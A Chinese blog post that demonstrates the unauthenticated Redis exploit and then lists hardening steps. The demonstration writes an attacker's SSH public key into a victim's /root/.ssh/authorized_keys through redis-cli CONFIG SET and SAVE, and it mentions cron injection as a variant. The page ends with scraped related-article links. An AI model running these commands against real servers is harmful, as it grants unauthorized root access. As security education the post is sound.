如果我们没有启用保护模式,支持远程接入,启用默认端口6379,而且是用root用户启动的,那么基本上redis就是在裸奔了,人家分分钟搞你没商量。

  我们模拟一下,现在机器A(ip假设为10.100.110.11)已经有只redis在裸奔,我们从机器B搞它。先让机器B生成它自己的公钥:

[root@centos ~]# cd .ssh
[root@centos .ssh]# ssh-keygen -t rsa
Generating public/private rsa key pair.
Enter file in which to save the key (/root/.ssh/id_rsa):
/root/.ssh/id_rsa already exists.
Overwrite (y/n)? y
Enter passphrase (empty for no passphrase):
Enter same passphrase again:
Your identification has been saved in /root/.ssh/id_rsa.
Your public key has been saved in /root/.ssh/id_rsa.pub.
The key fingerprint is:
b0:cd:4f::4d:8f:8e::b9::cb:3a::c3:c6: root@centos
The key's randomart image is:
+--[ RSA ]----+
| |
| |
| . . |
| = + o .E |
| . S + +. |
| . = ..o |
| . +=+ |
| .o.*o |
| .=o. |
+-----------------+
[root@centos .ssh]# ll
total
-rw------- root root Nov : id_rsa
-rw-r--r-- root root Nov : id_rsa.pub
-rw-r--r--. root root Jul : known_hosts

  解释下,因为之前机器B已经生成过公钥,所以上面有一个是否覆盖的提示。接下来我们把公钥单独放到一个文件pub.txt:

[root@centos .ssh]# (echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > pub.txt
[root@centos .ssh]# cat pub.txt ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCkbWGbHmhXxXYVYBjkycTkNPOMtrK+7JB3wA6/kkBeB0y35aFCsSB+S5QACMyTiTwEymAqtdMYP0qDNVapPKGYPg6hru2OUYD3jovDiCj8HIdXHq3TL/MetLTbgtPae1883hDtAgb0/TxTlwe93n69j/5FqOgbhVCCdvZv6DcdnMDqYXGiLVQiwvIKXGHRROzHpFNamWsCwzu2S7oo3ES1CF/w9wTs9AHZL6Br+Di/E/ehavS7G2VJckjTtyeyB3TXrXYLPEGw8YlhUO2xkF5CF14fB32QLVQbNOZaDXwK44/AGwsJdlyhjnd3a6OhS5zIQat7qHj+kq/IgzZX1Ykr root@centos

  再解释下,因为该pub.txt文件是要作为字符串类型的redis缓存value,所以前后我们加入空格符。

  进入机器B的redis目录(无需启动机器B的redis),使用redis客户端命令向写入机器A的redis缓存:

[root@centos redis-4.0.]# cat /root/.ssh/pub.txt | src/redis-cli -h 10.100.110.10 -x set pub
OK

  解释下,这里默认端口6379无需写上。连接机器A的redis,改写它的持久化备份文件所在目录和文件名:

[root@centos redis-4.0.]# src/redis-cli -h 10.100.110.11
10.100.110.11:> config set dir /root/.ssh
OK
10.100.110.11:> config set dbfilename authorized_keys
OK
10.100.110.11:> save
OK

  这时到机器A看看,免密登陆文件authorized_keys已经生成:

[root@centos1 .ssh]# ll
total
-rw-r----- root root Nov : authorized_keys
-rw-r--r--. root root Mar known_hosts

  内容就是机器B的公钥,所以机器B可以直接ssh 10.100.110.11登陆到机器A了。

  其他的用法同上面原理,简而言之,都是利用RDB持久化文件写入文件(可以是免密登陆authorized_keys,也可以是定时任务等)到指定目录下(如/root/.ssh或者/var/spool/cron)。都是由config命令来搞,dir命令设置写入的目录,dbfilename命令设置写入的文件名,通过设置key和value来设置写入内容,最后通过save将内容保存到文件中。

  从上面被搞的过程可以发现有以下漏洞和规避方式:

  1、用root用户执行redis——用普通用户

  2、使用6379默认端口——改端口号

  3、允许远程接入——redis.conf把bind 127.0.0.1注释去掉,只允许本机接入,不过集群的话这样明显不行

  4、没有密码,裸奔——添加密码,redis.conf去掉# requirepass foobared这样的注释#,配置你自己的密码,最好不容易破解的

  5、config命令的使用——禁用config命令(rename-command CONFIG ""),或者改个名字(rename-command CONFIG hello)

  另外的还有设置防火墙规则、禁止修改.ssh目录和authorized_keys文件等。

redis支持远程接入的安全防护问题的更多相关文章

  1. Redis学习笔记(二)Redis支持的5种数据类型的总结之String和Hash

    引言 在Redis学习笔记(一)中我们已经会安装并且简单使用Redis了,接下来我们一起来学习下Redis支持的5大数据类型. 简介 Redis是REmote DIctionary Server(远程 ...

  2. MyEclipse 2016 CI 1支持远程WebSphere连接器

    MyEclipse 2016 CI 1有很多Web开发者会喜欢的新功能,包括Live Preview,带有Map支持和hot-swap功能的JavaScript调试.另外还新增支持远程WebSpher ...

  3. Redis 支持的5种数据结构

    redis的崛起绝非偶然,它确实有自己的新东西在里面,它不像Memcached,只能将数据存储在内存中,它提供了持久化机制和数据同步,避免了宕机后的雪崩的问题,即服务器出现问题后,内存中保留的原始数据 ...

  4. Scribes:小型文本编辑器,支持远程编辑

    Scribes是一款简洁的文本编辑器.现在给大家介绍下.     功能列表,  Python插件扩展  支持远程编辑(如ftp, sftp, ssh, samba, webdav, webdavs)  ...

  5. Redis: Redis支持五种数据类型

    ylbtech-Redis: Redis支持五种数据类型 Redis支持五种数据类型:string(字符串) ,hash(哈希),list(列表),set(集合)及zset(sorted set:有序 ...

  6. Redis支持的五种数据类型

    redis支持的五种数据类型: 1.string(字符串) 2.hash(哈希) Redis hash 是一个键值(key=>value)对集合. Redis hash是一个string类型的f ...

  7. MySQL不支持远程连接的解决办法

    如果mysql不支持远程连接,会出现提示:错误代码是1130,ERROR 1130: Host * is not allowed to connect to this MySQL server ,解决 ...

  8. 什么是redis?Reids的特点是什么?Redis支持的数据类型有哪些?

    首先,分布式缓存框架 可以 看成是nosql的一种 (1)什么是redis? redis 是一个基于内存的高性能key-value数据库. (有空再补充,有理解错误或不足欢迎指正) (2)Reids的 ...

  9. SQLServer 2016 Express 安装部署,并配置支持远程连接

    在项目中需要用到SQLServer,于是安装部署了SQLServer,部署的过程中遇到了一下问题,记录一下以便之后遇到同样问题能快速解决. 一.安装包下载 首先下载必要的安装包: 1.SQLServe ...

随机推荐

  1. httprunner学习3-extract提取token值参数关联(上个接口返回的token,传给下个接口请求参数)

    前言 如何将上个接口的返回token,传给下个接口当做请求参数?这是最常见的一个问题了. 解决这个问题其实很简单,我们只需取出token值,设置为一个中间变量a,下个接口传这个变量a就可以了.那么接下 ...

  2. java中使用final关键字修饰一个变量时,是引用不能变,还是引用的对象不能变?

    java中使用final关键字修饰一个变量时,是引用不能变,还是引用的对象不能变? 是引用对象的地址值不能变,引用变量所指向的对象的内容是可以改变. final变量永远指向这个对象,是一个常量指针,而 ...

  3. Spark两种内存管理

    Spark动态内存管理 Spark 1.6 后改为动态内存管理(如果想启用静态内存管理,方法下面会介绍),启动动态主要体现在 存储内存和执行内存的动态.

  4. pmm docker-compose 运行试用

    pmm 是一个很不错的mysql.mongo.postgresql 数据库监控平台,基于prometheus.grafana.exporter 算是一个比较完整 的数据库分析平台 参考架构图 环境准备 ...

  5. 如何判断当前脚本运行在node还是浏览器中

    判断global对象,如果是window,就是运行在浏览器中,如果global对象是undefined,则运行在node中.

  6. A1139 | 玩成模拟题的DFS

    考试的时候有思路了,但是没写完.这题起码要40min写,思路太诡异了. 刚刚写了一段,只过了一个case,得了18分,还行.明日再战. #include <stdio.h> #includ ...

  7. Program terminated with signal 6, Aborted. (最后发现是数组越界导致)

    外网崩溃现象: 1.多台物理机中的多个进程消失,而且都是场景进程. 2.core文件都很小,看了 ulimit -a 和 cat proc/pid/limits  (都很正常.看这个是为了以后core ...

  8. GoCN每日新闻(2019-11-08)

    GoCN每日新闻(2019-11-08) GoCN每日新闻(2019-11-08) 1. Go Modules: v2及更高版本使用 https://blog.golang.org/v2-go-mod ...

  9. mac 搭建Java Spring boot 环境(idea)

    首先安装插件 安装下面的这个插件 然后重启idea,新建工程 选择新建 Springboot 框架 改写项目名称 选择类型 设置工程名称 删除多余的文件 编译工程 然后运行 1. 2. 参考: htt ...

  10. OpenFOAM——冲击斜坡

    本算例来自<ANSYS Fluid Dynamics Verification Manual>中的VMFL045: Oblique Shock Over an Inclined Ramp ...